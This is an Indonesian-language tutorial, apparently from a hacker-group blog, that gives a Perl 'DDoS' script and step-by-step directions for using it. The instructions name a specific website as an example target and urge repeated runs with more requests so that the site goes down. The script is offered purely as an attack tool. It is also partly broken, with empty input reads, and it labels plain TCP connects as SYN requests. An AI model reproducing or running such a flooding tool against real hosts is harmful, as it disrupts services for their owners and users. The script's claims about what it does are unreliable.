Oke, Langsung aja
1. Install active perl untuk menjalankan program ini diwindows. untuk linux tidak perlu, karena udah ada dari sananya.
2. Save script dibawah ini:
#!/usr/bin/perl
#scr34mz
system('color a');
system('cls');
print q{
=============================================================
Attack DdoS Indonesian Hacker Team
[+] coded by scr34mz => scr34mz@hack-id.us
[+] Indonesian Hacker Team => www.indonesianhacker.or.id
=== kerusakan yg ditimbulkan adalah perbuatan anda sendiri===
=============================================================
};
use IO::Socket;
print "Host: ";{
chop ($host = );
print "Port: ";
chop ($port = );
print "SYN Requests to send : ";
chop ($num= );
}
if(defined($ARGV[2])){
$host = $ARGV[0];
$port = $ARGV[1];
$num = $ARGV[2];
}
for ($i=0; $i<$num; $i++)
{
$len = length $form;
$sock = IO::Socket::INET->new (
PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp') || die "$! sorry ! Can't Connect";
syswrite STDOUT, "[+]SYN Request: $i\n";
}
$local_time = localtime();
$login = getlogin();
print " hello $login , your attack finish at $local_time\n";
print "All packets sent to $host\n";
print "Press sny key To exit...";
$end = ;
chop ($end);
3. Jalankan dengan mengetik: perl dos.pl
4. sebagai contoh, masukan host: www.pantas.my port: 80 dan SYN Request to send: 1000
lalu tekan Enter.
6. kalo mau lebih dasyat silahkan ulangi beberapa kali dengan SYN Request yg lbh banyak Insya Allah, MAMPUS TUH YANG KENA :D
